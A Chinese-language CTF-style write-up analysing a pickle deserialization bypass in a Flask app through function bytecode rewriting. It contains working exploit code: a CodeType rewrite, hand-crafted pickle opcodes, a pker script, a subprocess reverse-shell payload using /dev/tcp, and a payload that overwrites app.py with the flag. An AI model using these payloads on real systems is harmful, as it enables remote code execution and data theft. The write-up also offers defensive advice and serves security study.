Pickle反序列化中的字节码重写绕过
字数 894 2025-08-22 12:22:54

Pickle反序列化中的字节码重写绕过技术分析

漏洞背景

本文分析的是一个基于Python Flask框架的Web应用,其中存在Pickle反序列化漏洞。应用开发者试图通过多种防护措施来防止反序列化攻击,包括:

  1. 黑名单过滤危险函数和模块
  2. 替换sys.modules中的ossys模块
  3. 限制Pickle反序列化的输入

然而,通过字节码重写技术,攻击者仍然能够绕过这些防护措施,最终实现任意文件读取。

漏洞代码分析

关键路由分析

  1. /ppicklee路由 - 反序列化入口点
@app.route("/ppicklee", methods=["POST"])
def ppicklee():
    data = request.form["data"]
    sys.modules["os"] = "not allowed"
    sys.modules["sys"] = "not allowed"
    try:
        pickle_data = base64.b64decode(data)
        for i in {"os", "system", "eval", "setstate", "globals", "exec", "__builtins__", 
                 "template", "render", "\\", "compile", "requests", "exit", "pickle", 
                 "class", "mro", "flask", "sys", "base", "init", "config", "session",}:
            if i.encode() in pickle_data:
                return i + " waf"
        pickle.loads(pickle_data)
        return "success pickle"
    except Exception as e:
        return "fail pickle"
  1. /src路由 - 文件读取点
@app.route("/src")
def src():
    return open("app.py", "r", encoding="utf-8").read()

防护措施分析

  1. 模块替换:将ossys模块替换为字符串"not allowed"
  2. 黑名单过滤:检测Pickle数据中是否包含危险字符串
  3. Base64编码:要求输入数据经过Base64编码

攻击思路

预期解法:字节码重写

  1. 目标:修改src()函数的字节码,使其读取/flag而非app.py
  2. 技术原理:通过修改函数的__code__属性中的co_consts元组,改变函数行为

字节码重写步骤

  1. 获取原始函数的__code__属性
  2. 创建一个新的CodeType对象,修改其中的co_consts参数
  3. 使用setattr将新代码对象赋给函数

关键代码

import builtins
import types

def src():
    return open("app.py", "r",encoding="utf-8").read()

# 获取原始代码对象属性
oCode = src.__code__
# 创建新代码对象,修改co_consts
new_code = types.CodeType(
    oCode.co_argcount,
    oCode.co_posonlyargcount,
    oCode.co_kwonlyargcount,
    oCode.co_nlocals,
    oCode.co_stacksize,
    oCode.co_flags,
    oCode.co_code,
    (None, '/flag', 'r', 'utf-8', ('encoding',)),  # 修改后的常量
    oCode.co_names,
    oCode.co_varnames,
    oCode.co_filename,
    oCode.co_name,
    oCode.co_firstlineno,
    oCode.co_lnotab,
    oCode.co_freevars,
    oCode.co_cellvars,
)
# 设置新代码对象
builtins.setattr(src, "__code__", new_code)

构造Pickle载荷

使用Pickle操作码手动构造攻击载荷:

op3 = b'''cbuiltins
getattr
p0
c__main__
src
p3
g0
(g3
S'__code__'
tR
p4
g0
(g4
S'co_argcount'
tR
p5
[...省略部分...]
ctypes
CodeType
(g5
I0
g7
g8
g9
g10
g11
g12
g13
g14
g15
g16
g17
g18
g19
g20
tR
p21
cbuiltins
setattr
(g3
S"__code__"
g21
tR
.'''

非预期解法

  1. 利用未被过滤的subprocess模块
import pickle
import base64
import subprocess

class A():
    def __reduce__(self):
        return (subprocess.run, (["bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"],))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
  1. 覆盖app.py文件
import os
import builtins
import pickle
import base64
import subprocess

class A():
    def __reduce__(self):
        return (subprocess.check_output, (["cp", "/flag", "/app/app.py"],))

a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

防御建议

  1. 避免使用Pickle反序列化不可信数据
  2. 使用更严格的白名单而非黑名单
  3. 考虑使用JSON等更安全的序列化格式
  4. 限制反序列化环境的能力
  5. 使用沙箱环境执行反序列化操作

工具推荐

  • pker:自动将Python源代码转换为Pickle操作码的工具
    • 项目地址:EddieIvan01/pker

示例pker脚本:

getattr = GLOBAL('builtins', 'getattr')
open = GLOBAL('builtins', 'open')
flag = open('/flag')
read = getattr(flag, 'read')
f = open('./app.py', 'w')
write = getattr(f, 'write')
fff = read()
write(fff)
return

总结

本案例展示了即使有看似严格的防护措施,Pickle反序列化仍然可能被绕过。字节码重写技术提供了一种绕过模块限制和函数黑名单的有效方法。开发者应当充分了解Pickle的安全风险,并在必须使用时采取更全面的防护措施。

Pickle反序列化中的字节码重写绕过技术分析 漏洞背景 本文分析的是一个基于Python Flask框架的Web应用,其中存在Pickle反序列化漏洞。应用开发者试图通过多种防护措施来防止反序列化攻击,包括: 黑名单过滤危险函数和模块 替换 sys.modules 中的 os 和 sys 模块 限制Pickle反序列化的输入 然而,通过字节码重写技术,攻击者仍然能够绕过这些防护措施,最终实现任意文件读取。 漏洞代码分析 关键路由分析 /ppicklee路由 - 反序列化入口点 /src路由 - 文件读取点 防护措施分析 模块替换 :将 os 和 sys 模块替换为字符串"not allowed" 黑名单过滤 :检测Pickle数据中是否包含危险字符串 Base64编码 :要求输入数据经过Base64编码 攻击思路 预期解法:字节码重写 目标 :修改 src() 函数的字节码,使其读取 /flag 而非 app.py 技术原理 :通过修改函数的 __code__ 属性中的 co_consts 元组,改变函数行为 字节码重写步骤 获取原始函数的 __code__ 属性 创建一个新的 CodeType 对象,修改其中的 co_consts 参数 使用 setattr 将新代码对象赋给函数 关键代码 构造Pickle载荷 使用Pickle操作码手动构造攻击载荷: 非预期解法 利用未被过滤的subprocess模块 覆盖app.py文件 防御建议 避免使用Pickle反序列化不可信数据 使用更严格的白名单而非黑名单 考虑使用JSON等更安全的序列化格式 限制反序列化环境的能力 使用沙箱环境执行反序列化操作 工具推荐 pker :自动将Python源代码转换为Pickle操作码的工具 项目地址:EddieIvan01/pker 示例pker脚本: 总结 本案例展示了即使有看似严格的防护措施,Pickle反序列化仍然可能被绕过。字节码重写技术提供了一种绕过模块限制和函数黑名单的有效方法。开发者应当充分了解Pickle的安全风险,并在必须使用时采取更全面的防护措施。